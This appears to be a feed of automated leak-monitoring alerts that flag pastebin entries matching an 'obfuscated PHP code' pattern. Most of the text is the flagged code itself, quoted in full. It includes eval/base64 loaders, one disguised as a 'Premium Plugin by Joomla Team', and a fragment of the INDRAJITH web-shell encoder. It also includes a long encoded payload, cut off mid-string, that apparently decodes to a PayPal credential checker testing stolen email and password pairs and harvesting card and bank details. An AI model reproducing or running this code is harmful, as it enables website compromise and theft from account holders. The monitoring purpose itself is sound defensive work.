Detected 1 occurrence(s) of ‘\?php.*(eval|urldecode)\(.*\>’: Coded By indokamtiez Shop Spam Tools : Arscyber.biz <?php /* Premium Plugin by Joomla Team */$OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64');$GLOBALS['OOO0000O0']=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5}.$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$GLOBALS['OOO0000O0'].=$GLOBALS['OOO0000O0']{3}.$OOO000000{11}.$OOO000000{12}.$GLOBALS['OOO0000O0']{7}.$OOO000000{5};$GLOBALS['OOO000O00']=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO000000{15};$GLOBALS['O0O000O00']=$OOO000000{0}.$OOO000000{1}.$OOO000000{5}.$OOO000000{14};$GLOBALS['O0O000O00']=$O0O000O00.$OOO000000{3};$GLOBALS['O0O00OO00']=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000{16};$GLOBALS['OOO00000O']=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO000000{8};$OOO0O0O00=__FILE__;$OO00O0000=0x16c4c;eval($GLOBALS['OOO0000O0']('JE8wMDBPME8wMD0kR0xPQkFMU1snT09PMDAwTzAwJ10oJE9PTzBPME8wMCwncmInKTskR0xPQkFMU1snTzBPMDBPTzAwJ10oJE8wMDBPME8wMCwweDUyMSk7JE9PMDBPMDBPMD0kR0xPQkFMU1snT09PMDAwME8wJ10oJEdMT0JBTFNbJ09PTzAwMDAwTyddKCRHTE9CQUxTWydPME8wME9PMDAnXSgkTzAwME8wTzAwLDB4MWE4KSwnRW50ZXJ5b3V3a2hSSFlLTldPVVRBYUJiQ2NEZEZmR2dJaUpqTGxNbVBwUXFTc1Z2WHhaejAxMjM0NTY3ODkrLz0nLCdBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWmFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6MDEyMzQ1Njc4OSsvJykpO2V2YWwoJE9PMDBPMDBPMCk7'));return;?>Ixekr9NHenNHenNHe1zfukgFMaXdoyjcUImb19oUAxyb18mRtwmwJ4LT09NHr8XTzEXRJwmwJXLO0xNWLyHA1SmT09NHeEXHr8Xk10PkrfHT0knTyYdk09NTzEXHeEXTZffhtOuTr9tWAxTBZfNHr8XHr9NHeEmbUILTzEXHr8XTzEXRtONTzEXTzEXHeEpRtfydmOlFmlvfbfqDykwBAsKa09aaryiWMkeC0OLOMcuc0lpUMpHdr1sAunOFaYza Source: http://pastebin.com/raw.php?i=JyAtCehn
↧
Potential leak of data: Obfuscated PHP Code
Detected 1 occurrence(s) of ‘\?php.*(eval|urldecode)\(.*\>’: <?php /* Written by Miyachung - Janissaries.Org Represents */$OOO000000=urldecode('%66%67%36%73%62%65%68%70%72%61%34%63%6f%5f%74%6e%64');$GLOBALS['OOO0000O0']=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5}.$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$GLOBALS['OOO0000O0'].=$GLOBALS['OOO0000O0']{3}.$OOO000000{11}.$OOO000000{12}.$GLOBALS['OOO0000O0']{7}.$OOO000000{5};$GLOBALS['OOO000O00']=$OOO000000{0}.$OOO000000{12}.$OOO000000{7}.$OOO000000{5}.$OOO000000{15};$GLOBALS['O0O000O00']=$OOO000000{0}.$OOO000000{1}.$OOO000000{5}.$OOO000000{14};$GLOBALS['O0O000O00']=$O0O000O00.$OOO000000{3};$GLOBALS['O0O00OO00']=$OOO000000{0}.$OOO000000{8}.$OOO000000{5}.$OOO000000{9}.$OOO000000{16};$GLOBALS['OOO00000O']=$OOO000000{3}.$OOO000000{14}.$OOO000000{8}.$OOO000000{14}.$OOO000000{8};$OOO0O0O00=__FILE__;$OO00O0000=0x3588;eval($GLOBALS['OOO0000O0']('JE8wMDBPME8wMD0kR0xPQkFMU1snT09PMDAwTzAwJ10oJE9PTzBPME8wMCwncmInKTskR0xPQkFMU1snTzBPMDBPTzAwJ10oJE8wMDBPME8wMCwweDUzOSk7JE9PMDBPMDBPMD0kR0xPQkFMU1snT09PMDAwME8wJ10oJEdMT0JBTFNbJ09PTzAwMDAwTyddKCRHTE9CQUxTWydPME8wME9PMDAnXSgkTzAwME8wTzAwLDB4MWE4KSwnYmxhb3F5UmNnVDhLUDU2WDRkTERJcHUwRlYrQTl4dzNqSHQydkNXQmZOaWVaRW5NU1lVSk9yUXo3LzFtR3NraD0nLCdBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWmFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6MDEyMzQ1Njc4OSsvJykpO2V2YWwoJE9PMDBPMDBPMCk7'));return;?>MJxjTJzhTqsXPolXPolXPorJxcT39WpSARy2VLjB0rsRLIYy0rGBKagBgt7vDOsXPqGSDJbSKtgBgtSvdOYX4vyPIrZBDOsXPobSPqGSTrOfTqxPDOTlDy5ATOsXDJbSPobSDUxx8adcDqsa4IYDuUxXPqGSPqsXPobB0LjvDJbSPqGSDJbSKadXDJbSDJbSPobNKaxtARyM90CLFQxI6qE45DVF5RdPdqCSxDlRptEl60HzPQNgxoTQ4rxaVv/N Source: http://pastebin.com/raw.php?i=EndUSj4A
↧
↧
Potential leak of data: Obfuscated PHP Code
Detected 3 occurrence(s) of ‘\?php.*(eval|urldecode)\(.*\>’: decode(\"$res_t\"))); ?>"; break; case "STR_ROT13": $res_t=trim(stripslashes($c_ntent.' '),'<?php, ?>'); $res_t=base64_encode(str_rot13($res_t)); $res_t="<?php /* Encoded in INDRAJITH SHELL PROJECT */ eval(str_rot13(base64_decode(\"$res_t\"))); ?>"; break; } break; case "Decode": switch($typ_d) { case "GZINFLATE": $res_t=gzinflate(base64_decode($c_ntent)); Detected 1 occurrence(s) of ‘\s*pass[word]+\s*[:=]\s*["'][a-z0-9\-_\!\$]+["']‘: olf. * THA : THA RUDE [There is Nothing in Borders] * Love to : AMSTECK […]
↧
Potential leak of data: Obfuscated PHP Code
Detected 1 occurrence(s) of ‘\?php.*(eval|urldecode)\(.*\>’: <?php $_F=__FILE__;$_X='Pz48IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1dvQy8vRFREIFhIVE1MIDYuMCBTdHI0Y3QvL0VOIiAiaHR0cDovL3d3dy53by4ycmcvVFIveGh0bWw2L0RURC94aHRtbDYtc3RyNGN0LmR0ZCI+DQo8aHRtbD4NCjxoNTFkPjxsNG5rIHI1bD0ic2gycnRjM3QgNGMybiIgdHlwNT0iNG0xZzUveC00YzJuIiBocjVmPSJodHRwOi8vZjRsNXMubXkycDVyMS5jMm0vdDI1ajI1aHIzcDEvMWxiM21zL283ZTc2NmEvQjVuZDVyMS5nNGYiPjx0NHRsNT5QcjR2MXQ1IFAxeXAxbCBDaDVjazVyfElDVDwvdDR0bDU+PC9oNTFkPg0KCTxzdHlsNT4NCiogYjJkeQ0Kew0KCWIxY2tncjIzbmQtNG0xZzU6IDNybChodHRwOi8vMmw0djVzLm41dC80bmNsM2Q1cy9oNTFkNXJfZjRsNXMvYjR0YzI0bi5KUEcpOw0KfQ0KYjJkeSx0ZCx0aCB7DQoJYzJsMnI6ICM5OUNDMDA7DQp9DQpoYQ0Kew0KCWMybDJyOiAjRkZDQzAwOw0KfQ0KaDYgew0KCXAxZGQ0bmc6IDYwcHggNmlweDsNCn0NCi5tMTRuLWMybnQ1bnQgew0KCXc0ZHRoOiA3MCU7IGg1NGdodDogYTAwcHg7bTFyZzRuOiAxM3QyOwliMWNrZ3IyM25kOiByZ2IoN3UsODYsOGkpOwliMnJkNXItcjFkNDNzOiBpcHggaXB4IGlweCBpcHg7CWIyeC1zaDFkMnc6IDAgMCBvcHggcmdiMSgwLCAwLCAwLCAwLmkpOwltNG4taDU0Z2h0OiBvdTBweDsJcDJzNHQ0Mm46IHI1bDF0NHY1Ow0KfQ0KdDV4dDFyNTEsIDRucDN0IHsNCgliMnJkNXItcjFkNDNzOiBpcHggaXB4IGlweCBpcHg7DQp9DQo0bnAzdCB7DQoJaDU0Z2h0OiBhMHB4O3c0ZHRoOiA3MHB4O3Q1eHQtMWw0Z246IGM1bnQ1cjsNCn0NCi5iM3R0Mm4gew0KCQ0KfQ0KLnMzYm00dC1iM3R0Mm4gDQoJeyANCgkJYjFja2dyMjNuZDogI2k3QTBhQzsNCgkJYjJyZDVyOnMybDRkIDZweCAjaTdBMGFDOw0KCQliMnJkNXItcjFkNDNzOmlweDsNCgkJCS1tMnotYjJyZDVyLXIxZDQzczogaXB4OyANCgkJCS13NWJrNHQtYjJyZDVyLXIxZDQzczogaXB4Ow0KCQktbTJ6LWIyeC1zaDFkMnc6IDAgNnB4IG9weCByZ2IxKDAsMCwwLDAuZSk7DQoJCS13NWJrNHQtYjJ4LXNoMWQydzogMCA2cHggb3B4IHJnYjEoMCwwLDAsMC5lKTsNCgkJdDV4dC1zaDFkMnc6IDAgLTZweCA2cHggcmdiMSgwLDAsMCwwLmFpKTsNCgkJYjJyZDVyLWIydHQybTogNnB4IHMybDRkIHJnYjEoMCwwLDAsMC5haSk7DQoJCXAyczR0NDJuOiByNWwxdDR2NTsNCgkJYzJsMnI6I0ZGRjsNCgkJZDRzcGwxeTogNG5sNG41LWJsMmNrOyANCgkJYzNyczJyOnAyNG50NXI7DQoJCWYybnQtczR6NTo2b3B4Ow0KCQlwMWRkNG5nOm9weCA4cHg7DQoJCWg1NGdodDogbzBweDt3NGR0aDogNmEwcHg7DQoJfQ0KCS5zM2JtNHQtYjN0dDJuOmgydjVyIHsgDQoJYjFja2dyMjNuZDojOGFEMGk2O2IycmQ1cjpzMmw0ZCA2cHggIzhlQ0NpMDsNCgloNTRnaHQ6IG8wcHg7dzRkdGg6IDZhMHB4Owl9DQoNCiNzaDJ3IHsNCgl3NGR0aDogNzAlO20xcmc0bjogMTN0MjtwMWRkNG5nOiA2MHB4IDYwcHg7DQp9DQo8L3N0eWw1Pg0KDQoJPHNjcjRwdCB0eXA1PSJ0NXh0L2oxdjFzY3I0cHQiPg0KCQlmM25jdDQybiBwM3NoUzJja0Q0NShzdHIpew0KCQkJZDJjM201bnQuZzV0RWw1bTVudEJ5SWQoJ2w0c3RENDUnKS40bm41ckhUTUwgKz0gJzxkNHY+JyArIHN0ciArICc8L2Q0dj4nOw0KCQl9DQoJCWYzbmN0NDJuIHAzc2hQMXlwMWxENDUoc3RyKXsNCgkJCWQyYzNtNW50Lmc1dEVsNW01bnRCeUlkKCdsNHN0UDF5cDFsRDQ1JykuNG5uNXJIVE1MICs9ICc8ZDR2PicgKyBzdHIgKyAnPC9kNHY+JzsNCgkJfQ0KCQlmM25jdDQybiBwM3NoUDF5cDFsKHN0cil7DQoJCQlkMmMzbTVudC5nNXRFbDVtNW50QnlJZCgnbDRzdFAxeXAxbCcpLjRubjVySFRNTCArPSAnPGQ0dj4nICsgc3RyICsgJzwvZDR2Pic7DQoJCX0NCgkJZjNuY3Q0Mm4gcDNzaFdyMm5nRjJybTF0KHN0cil7DQoJCQlkMmMzbTVudC5nNXRFbDVtNW50QnlJZCgnbDRzdFdyMm5nRjJybTF0JykuNG5uNXJIVE1MICs9ICc8ZDR2PicgKyBzdHIgKyAnPC9kNHY+JzsNCgkJfQ0KCQlmM25jdDQybiBiNWZDaDVjaygpew0KCQkJdjFyIGw0c3RNMTRscyA9IHc0bmQydy5kMmMzbTVudC5mcm1NMTRuLm1wLnYxbDM1Ow0KCQkJdjFyIHRtcE0xNGxzID0gbDRzdE0xNGxzLm0xdGNoKC8oWzEtekEtWjAtOV9cLlwtXSkrXEAoWzEtekEtWjAtOVwtXC5dKStcLihbMS16QS1aMC05XXthLHV9KSh8XHMpK1x8KHxccykoWzEtekEtWjAtOV9cLlwtXEBcI1wkXCVcXlwmXCpcKFwpXCtcYFwhXD9de2UsfSkvZyk7DQoJCQk0Zih0bXBNMTRscykgeyANCgkJCQl2MXIgZ00xNGxzPSIiOw0KCQkJCWYycih2MXIgND0wOzQ8dG1wTTE0bHMubDVuZ3RoOzQrKykgew0KCQkJCQlnTTE0bHM9Z00xNGxzK3RtcE0xNGxzWzRdKyJcbiI7DQoJCQkJfQ0KCQkJCXc0bmQydy5kMmMzbTVudC5mcm1NMTRuLm1wLnYxbDM1PWdNMTRsczsNCgkJCX0NCgkJCTVsczUgew0KCQkJCXc0bmQydy5kMmMzbTVudC5mcm1NMTRuLm1wLnYxbDM1PSIiOw0KCQkJfQ0KCQl9DQoJPC9zY3I0cHQ+DQo8L2g1MWQ+DQo8YjJkeT4NCjxkNHYgY2wxc3M9Im0xNG4tYzJudDVudCI+DQoJPHM1Y3Q0Mm4gNGQ9Im0xNG4iIGNsMXNzPSIiPjxjNW50NXI+PGg2PlByNHYxdDUgUDF5cDFsIENoNWNrNXJ8fklDVDwvaDY+DQoNCgkJPGYycm0gbjFtNT0iZnJtTTE0biIgbTV0aDJkPSJwMnN0Ij4NCgkJCUNoNWNrIEIxbms8NG5wM3QgdHlwNT0iY2g1Y2tiMngiIG4xbTU9ImIxbmsiIGNoNWNrNWQ9ImNoNWNrNWQiIHYxbDM1PSI2IiAvPkNoNWNrIEMxcmQ8NG5wM3QgdHlwNT0iY2g1Y2tiMngiIG4xbTU9ImMxcmQiIGNoNWNrNWQ9ImNoNWNrNWQiIHYxbDM1PSI2IiAvPkc1dCBJbmYyPDRucDN0IHR5cDU9ImNoNWNrYjJ4IiBuMW01PSI0bmYyIiBjaDVjazVkPSJjaDVjazVkIiB2MWwzNT0iNiIgLz5HNXQgU20xcnQ8NG5wM3QgdHlwNT0iY2g1Y2tiMngiIG4xbTU9InNtMXJ0IiBjaDVjazVkPSJjaDVjazVkIiB2MWwzNT0iNiIgLz5HNXQgQjRsbCBNNSBMMXQ1cjw0bnAzdCB0eXA1PSJjaDVja2IyeCIgbjFtNT0iYm1sdCIgY2g1Y2s1ZD0iY2g1Y2s1ZCIgdjFsMzU9IjYiIC8+RzV0IFAxeW01bnQ8NG5wM3QgdHlwNT0iY2g1Y2tiMngiIG4xbTU9InAxeW01bnQiIGNoNWNrNWQ9ImNoNWNrNWQiIHYxbDM1PSI2IiAvPjwvdGQ+PC90cj4NCgkJCTwvdDFibDU+PC9wPg0KCQkJPHA+PHQ1eHQxcjUxIG4xbTU9Im1wIiByMndzPSI2MCIgY2wxc3M9InQyMmwiIHN0eWw1PSJ3NGR0aDo3MCUiID48P3BocCA1Y2gyICRfUE9TVFsnbXAnXTsgPz5QcjR2MXQ1IENoNWNrNXIgYnkgOiBJbmQybjVzNDEgQzFyZDVyIFQ1MW08L3Q1eHQxcjUxPjwvcD4NCgkJCTxwPjw0bnAzdCB0eXA1PSJzM2JtNHQiIGNsMXNzPSJzM2JtNHQtYjN0dDJuIiB2MWwzNT0iQ2g1Y2sgTk9XICIgbjFtNT0iYnRuLXMzYm00dCIgMm5DbDRjaz0iYjVmQ2g1Y2soKTsiIC8+PC9wPg0KCQk8L2Yycm0+DQoJPC9jNW50NXI+DQoJPC9kNHY+DQoJDQo8P3BocA0KczV0X3Q0bTVfbDRtNHQoMCk7DQo0bmNsM2Q1KCIzczUucGhwIik7DQpmM25jdDQybiBjM3JsKCQzcmwgPSAnJywkdjFyID0gJycsJGg1MWQ1ciA9IGYxbHM1LCRuMmIyZHkgPSBmMWxzNSl7DQoJZ2wyYjFsICRjMm5mNGcsJHMyY2s7DQoJJGMzcmwgPSBjM3JsXzRuNHQoJDNybCk7DQoJYzNybF9zNXQycHQoJGMzcmwsQ1VSTE9QVF9OT0JPRFksJGg1MWQ1cik7DQoJYzNybF9zNXQycHQoJGMzcmwsQ1VSTE9QVF9IRUFERVIsJG4yYjJkeSk7DQoJYzNybF9zNXQycHQoJGMzcmwsQ1VSTE9QVF9USU1FT1VULDYwKTsNCgljM3JsX3M1dDJwdCgkYzNybCxDVVJMT1BUX1VTRVJBR0VOVCxyMW5kMm1fMzFnNW50KCkpOw0KCWMzcmxfczV0MnB0KCRjM3JsLENVUkxPUFRfUkVGRVJFUiwnaHR0cHM6Ly93d3cucDF5cDFsLmMybS8nKTsNCgk0ZiAoJHYxcikgew0KCWMzcmxfczV0MnB0KCRjM3JsLENVUkxPUFRfUE9TVCx0cjM1KTsNCgljM3JsX3M1dDJwdCgkYzNybCxDVVJMT1BUX1BPU1RGSUVMRFMsJHYxcik7DQoJfQ0KCWMzcmxfczV0MnB0KCRjM3JsLENVUkxPUFRfQ09PS0lFRklMRSwkYzJuZjRnWydjMjJrNDVfZjRsNSddKTsNCgljM3JsX3M1dDJwdCgkYzNybCxDVVJMT1BUX0NPT0tJRUpBUiwkYzJuZjRnWydjMjJrNDVfZjRsNSddKTsNCgljM3JsX3M1dDJwdCgkYzNybCxDVVJMT1BUX1NTTF9WRVJJRllQRUVSLGYxbHM1KTsNCgljM3JsX3M1dDJwdCgkYzNybCxDVVJMT1BUX1NTTF9WRVJJRllIT1NULGEpOw0KCWMzcmxfczV0MnB0KCRjM3JsLENVUkxPUFRfRk9MTE9XTE9DQVRJT04sdHIzNSk7DQoJYzNybF9zNXQycHQoJGMzcmwsQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUix0cjM1KTsNCgkkcjVzM2x0ID0gYzNybF81eDVjKCRjM3JsKTsNCgljM3JsX2NsMnM1KCRjM3JsKTsNCglyNXQzcm4gJHI1czNsdDsNCn0NCg0KZjNuY3Q0Mm4gZjV0Y2hfdjFsMzUoJHN0ciwkZjRuZF9zdDFydCwkZjRuZF81bmQpew0KCSRzdDFydCA9IHN0cnAycygkc3RyLCRmNG5kX3N0MXJ0KTsNCgk0ZiAoJHN0MXJ0ID09PSBmMWxzNSkgew0KCQlyNXQzcm4gIiI7DQoJfQ0KCSRsNW5ndGggPSBzdHJsNW4oJGY0bmRfc3QxcnQpOw0KCSQ1bmQgICAgPSBzdHJwMnMoczNic3RyKCRzdHIsJHN0MXJ0ICskbDVuZ3RoKSwkZjRuZF81bmQpOw0KCXI1dDNybiB0cjRtKHMzYnN0cigkc3RyLCRzdDFydCArJGw1bmd0aCwkNW5kKSk7DQp9DQokZDRyICAgICAgICAgICAgICAgICAgID0gZDRybjFtNSgnNG5kNXgucGhwJyk7DQokYzJuZjRnWydjMjJrNDVfZjRsNSddID0gJGQ0ciAuJy9jay1wcC10MjJsM2cvJy5tZGkoJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10pIC4nLnR4dCc7DQo0ZiAoIWY0bDVfNXg0c3RzKCRjMm5mNGdbJ2MyMms0NV9mNGw1J10pKSB7DQoJJGZwID0gQGYycDVuKCRjMm5mNGdbJ2MyMms0NV9mNGw1J10sJ3cnKTsNCglAZmNsMnM1KCRmcCk7DQp9DQokenp6ICA9ICIiOw0KJGw0djUgPSAxcnIxeSgpOw0KZjNuY3Q0Mm4gZzV0KCRsNHN0KXsNCglwcjVnX20xdGNoXzFsbCgiL1xkezYsb31cLlxkezYsb31cLlxkezYsb31cLlxkezYsb31cOlxkezYsaX0vIiwkbDRzdCwkczJja3MpOw0KCXI1dDNybiAkczJja3NbMF07DQp9DQpmM25jdDQybiBkNWw1dDVfYzIyazQ1cygpew0KCWdsMmIxbCAkYzJuZjRnOw0KCSRmcCA9IEBmMnA1bigkYzJuZjRnWydjMjJrNDVfZjRsNSddLCd3Jyk7DQoJQGZjbDJzNSgkZnApOw0KfQ0KZjNuY3Q0Mm4geGZsM3NoKCl7DQoJc3QxdDRjICQyM3RwM3RfaDFuZGw1ciA9IG4zbGw7DQoJNGYgKCQyM3RwM3RfaDFuZGw1ciA9PT0gbjNsbCkgew0KCQkkMjN0cDN0X2gxbmRsNXIgPSBANG40X2c1dCgnMjN0cDN0X2gxbmRsNXInKTsNCgl9DQoJNGYgKCQyM3RwM3RfaDFuZGw1ciA9PSAnMmJfZ3poMW5kbDVyJykgew0KCQlyNXQzcm47DQoJfQ0KCWZsM3NoKCk7DQoJNGYgKGYzbmN0NDJuXzV4NHN0cygnMmJfZmwzc2gnKSBBTkQgZjNuY3Q0Mm5fNXg0c3RzKCcyYl9nNXRfbDVuZ3RoJykgQU5EIDJiX2c1dF9sNW5ndGgoKSAhPT0gZjFsczUpIHsNCgkJQDJiX2ZsM3NoKCk7DQoJfTVsczUgNGYgKGYzbmN0NDJuXzV4NHN0cygnMmJfNW5kX2ZsM3NoJykgQU5EIGYzbmN0NDJuXzV4NHN0cygnMmJfc3QxcnQnKSBBTkQgZjNuY3Q0Mm5fNXg0c3RzKCcyYl9nNXRfbDVuZ3RoJykgQU5EIDJiX2c1dF9sNW5ndGgoKSAhPT0gRkFMU0UpIHsNCgkJQDJiXzVuZF9mbDNzaCgpOw0KCQlAMmJfc3QxcnQoKTsNCgl9DQp9DQovLyBFZDR0IGJ5IEoyazVyIEJsMWNrIC0gTXFsMzNzIC0gaVNSVi5DT00NCmYzbmN0NDJuIDRzUzJja0NsNTFyKCl7DQoJZ2wyYjFsICRzMmNrOw0KCSRzdHIgPSBjM3JsKCdodHRwczovL3d3dy5wMXlwMWwuYzJtL3hjbDRjay9iM3M0bjVzcz1wMXlwMWwldTBkcjUxbWgyc3QuYzJtJnJtPWEmNHQ1bV9uMW01PVc1YitIMnN0NG5nK0QybjF0NDJuJjR0NW1fbjNtYjVyPWQybjF0NDJuXzZvNjhpJjFtMjNudD02MCY0bTFnNV8zcmw9aHR0cHMlb0EvL3M1YzNyNS5uNXdkcjUxbS5uNXQvZHI1MW1oMnN0cHAuZzRmJm4yX3NoNHBwNG5nPTYmbjJfbjJ0NT02JnI1dDNybj1odHRwJW9BLy93d3cuZHI1MW1oMnN0LmMybS9kMm4xdDUuY2c0JmMxbmM1bF9yNXQzcm49JnQxeD0wJmMzcnI1bmN5X2MyZDU9VVNEJyk7DQoJNGYgKCRzdHIgPT09IGYxbHM1KSB7DQoJCXI1dDNybiAtNjsNCgl9DQoJNGYgKHN0cjRwMnMoJHN0ciwncDFzc3cycmQnKSAhPT0gZjFsczUpIHsNCgkJcjV0M3JuIDA7DQoJfQ0KCXI1dDNybiA2Ow0KfQ0KZjNuY3Q0Mm4gZDRzcGwxeSgkc3RyKXsNCgk1Y2gyICc8ZDR2PicuJHN0ciAuJzwvZDR2Pic7DQoJeGZsM3NoKCk7DQp9DQpmM25jdDQybiBwM3NoUzJja0Q0NSgkc3RyKXsNCgk1Y2gyICc8c2NyNHB0IHR5cDU9InQ1eHQvajF2MXNjcjRwdCI+cDNzaFMyY2tENDUoXCcnLiRzdHIgLidcJyk7PC9zY3I0cHQ+JzsNCgl4Zmwzc2goKTsNCn0NCmYzbmN0NDJuIHAzc2hQMXlwMWxENDUoJHN0cil7DQoJNWNoMiAnPHNjcjRwdCB0eXA1PSJ0NXh0L2oxdjFzY3I0cHQiPnAzc2hQMXlwMWxENDUoXCcnLiRzdHIgLidcJyk7PC9zY3I0cHQ+JzsNCgl4Zmwzc2goKTsNCn0NCmYzbmN0NDJuIHAzc2hQMXlwMWwoJHN0cil7DQoJNWNoMiAnPHNjcjRwdCB0eXA1PSJ0NXh0L2oxdjFzY3I0cHQiPnAzc2hQMXlwMWwoXCcnLiRzdHIgLidcJyk7PC9zY3I0cHQ+JzsNCgl4Zmwzc2goKTsNCn0NCmYzbmN0NDJuIHAzc2hXcjJuZ0Yycm0xdCgkc3RyKXsNCgk1Y2gyICc8c2NyNHB0IHR5cDU9InQ1eHQvajF2MXNjcjRwdCI+cDNzaFdyMm5nRjJybTF0KFwnJy4kc3RyIC4nXCcpOzwvc2NyNHB0Pic7DQoJeGZsM3NoKCk7DQp9DQpmM25jdDQybiA0bmYyQzFyZCgpew0KCWdsMmIxbCAkYzJuZjRnLCRzMmNrOw0KCSRyNXNwMm5zNSAgPSBjM3JsKCdodHRwczovL3d3dy5wMXlwMWwuYzJtLzNzL2NnNC1iNG4vdzVic2NyP2NtZD1fcHIyZjRsNS1jcjVkNHQtYzFyZC1uNXctY2w0Y2t0aHIzJmZsMWdfZnIybV8xY2MyM250X3MzbW0xcnk9NiZuMXY9MC5pLmEnKTsNCgkkY2g1Y2tjMXJkID0gZjV0Y2hfdjFsMzUoJHI1c3AybnM1LCdzLnByMnA2PSInLCciJyk7DQoJNGYgKHN0cjRwMnMoJGNoNWNrYzFyZCwnY2MxZGQnKSAhPT0gZjFsczUpIHsNCgkJcjV0M3JuIGYxbHM1Ow0KCX0NCglwcjVnX20xdGNoXzFsbCgnLzx0cj4oLispPFwvdHI+L3M0VScsJHI1c3AybnM1LCRtMXRjaDVzKTsNCgkkY2MgPSAxcnIxeSgpOw0KCWYycjUxY2ggKCRtMXRjaDVzWzZdIEFTICRrID0+JHYpIHsNCgkJNGYgKCRrID4wKSB7DQoJCQlwcjVnX20xdGNoXzFsbCgnLzx0ZD4oLispPFwvdGQ+L3M0VScsICR2LCAkbSk7DQoJCQkkdHlwNSA9IGY1dGNoX3YxbDM1KCRtWzZdWzBdLCcvNGMybl8nLCcuZzRmIicpOw0KCQkJJGNjbjNtID0gJG1bNl1bNl07DQoJCQkkNXhwID0gJG1bNl1bYV07DQoJCQk0ZiAoc3RyNHN0cigkbVs2XVt1XSwnYzJtcGw1dDVfNXhwMW5kNWRfM3M1LngnKSkgew0KCQkJCSRjMm5mNHJtNWQgPSAnTjIgQzJuZjRybTVkJzsNCgkJCX01bHM1ew0KCQkJCSRjMm5mNHJtNWQgPSAnQzJuZjRybTVkJzsNCgkJCX0NCgkJCTRmKCJbJHR5cDUgLSB4JGNjbjNtLSAkYzJuZjRybTVkIC0gJDV4cF0iID09ICJbIC0geC0gQzJuZjRybTVkIC0gXSIpew0KCQkJCSRjY1tdID0gIltDMXJkIEV4cF0iOw0KCQkJfQ0KCQkJNWxzNXsNCgkJCQkkY2NbXSA9ICJbJHR5cDUgLSB4JGNjbjNtLSAkYzJuZjRybTVkIC0gJDV4cF0iOw0KCQkJfQ0KCQkJJGNjKys7DQoJCX0NCgl9DQoJJDRuZjJjMXJkID0gIjxmMm50IGMybDJyPVwiI0VEQURvOVwiPiIuNG1wbDJkNSgiLSIsJGNjKSAuIjwvZjJudD4iOw0KCXI1dDNybiAkNG5mMmMxcmQ7DQp9DQpmM25jdDQybiA0bmYyQjFuaygpew0KCWdsMmIxbCAkYzJuZjRnLCRzMmNrOw0KCSRyNXNwMm5zNSA9IGMzcmwoJ2h0dHBzOi8vd3d3LnAxeXAxbC5jMm0vM3MvY2c0LWI0bi93NWJzY3I/Y21kPV9wcjJmNGw1LTFjaCZuMXY9MC5pLjYnKTsNCgk0ZiAoc3RyNHAycygkcjVzcDJuczUsJzFjaF80ZCcpICE9PSBmMWxzNSkgew0KCQlyNXQzcm4gdHIzNTsNCgl9DQoJcjV0M3JuIGYxbHM1Ow0KfQ0KZjNuY3Q0Mm4gNG5mMnNtMXJ0KCl7DQogICAgZ2wyYjFsICRjMm5mNGcsICRzMmNrOw0KICAgICRyNXNwMm5zNSA9IGMzcmwoJ2h0dHBzOi8vd3d3LnAxeXAxbC5jMm0vM3MvY2c0LWI0bi93NWJzY3I/Y21kPV8xY2MyM250Jm4xdj0wLjAnKTsNCiAgICA0ZiAoc3RyNHAycygkcjVzcDJuczUsICdQMXlQMWwgU20xcnQgQzJubjVjdCcpICE9PSBmMWxzNSkgew0KCQkJJHNtMXJ0bjNtCT0gZjV0Y2hfdjFsMzUoJHI1c3AybnM1LCAnUDF5UDFsIFNtMXJ0IEMybm41Y3Q8c3Axbj4nLCAnPC9zcDFuPicpOw0KCQkJJHNtMXJ0Y2NuCT0gIlNtMXJ0QzJubjVjdFsiIC4gJHNtMXJ0bjNtIC4gIl0iOw0KCQlyNXQzcm4gJHNtMXJ0Y2NuOw0KICAgIH0NCiAgICByNXQzcm4gZjFsczU7DQp9DQpmM25jdDQybiA0bmYycDF5bTVudCgpew0KICAgIGdsMmIxbCAkYzJuZjRnLCAkczJjazsNCiAgICAkcjVzcDJuczUgPSBjM3JsKCdodHRwczovL2g0c3QycnkucDF5cDFsLmMybS8zcy9jZzQtYjRuL3c1YnNjcj9jbWQ9X2g0c3QycnkmZjRsdDVyXzknKTsNCiAgICA0ZiAoc3RyNHAycygkcjVzcDJuczUsICdDMm1wbDV0NWQnKSAhPT0gZjFsczUpIHsNCiAgICAgICAgcjV0M3JuIHRyMzU7DQogICAgfQ0KICAgIHI1dDNybiBmMWxzNTsNCn0NCmYzbmN0NDJuIDRuZjJibWx0KCl7DQogICAgZ2wyYjFsICRjMm5mNGcsICRzMmNrOw0KICAgICRyNXNwMm5zNSA9IGMzcmwoJ2h0dHBzOi8vd3d3LnAxeXAxbC5jMm0vM3MvY2c0LWI0bi93NWJzY3I/Y21kPV8xY2MyM250Jm4xdj0wLjAnKTsNCiAgICA0ZiAoc3RyNHAycygkcjVzcDJuczUsICdCNGxsIE01IEwxdDVyJykgIT09IGYxbHM1KSB7DQoJCQkkYm1sYjFsMW5jNSAgPSBmNXRjaF92MWwzNSgkcjVzcDJuczUsICdBdjE0bDFibDUgY3I1ZDR0OjxzcDFuIGNsMXNzPSJoNTF2eSI+JywgJzwvc3Axbj4nKTsNCgkJCSRibWxjcjVkNHQJID0gIkJNTCBDcjVkNHQ6ICIgLiAkYm1sYjFsMW5jNTsNCiAgICAgICAgcjV0M3JuICRibWxjcjVkNHQ7DQogICAgfQ0KICAgIHI1dDNybiBmMWxzNTsNCn0NCmYzbmN0NDJuIDRuZjIoKXsNCglnbDJiMWwgJGMybmY0ZywkczJjazsNCgkkcjVzcDJuczUgPSBjM3JsKCdodHRwczovL3d3dy5wMXlwMWwuYzJtLzNzL2NnNC1iNG4vdzVic2NyP2NtZD1fcHIyZjRsNS0xZGRyNXNzJm4xdj0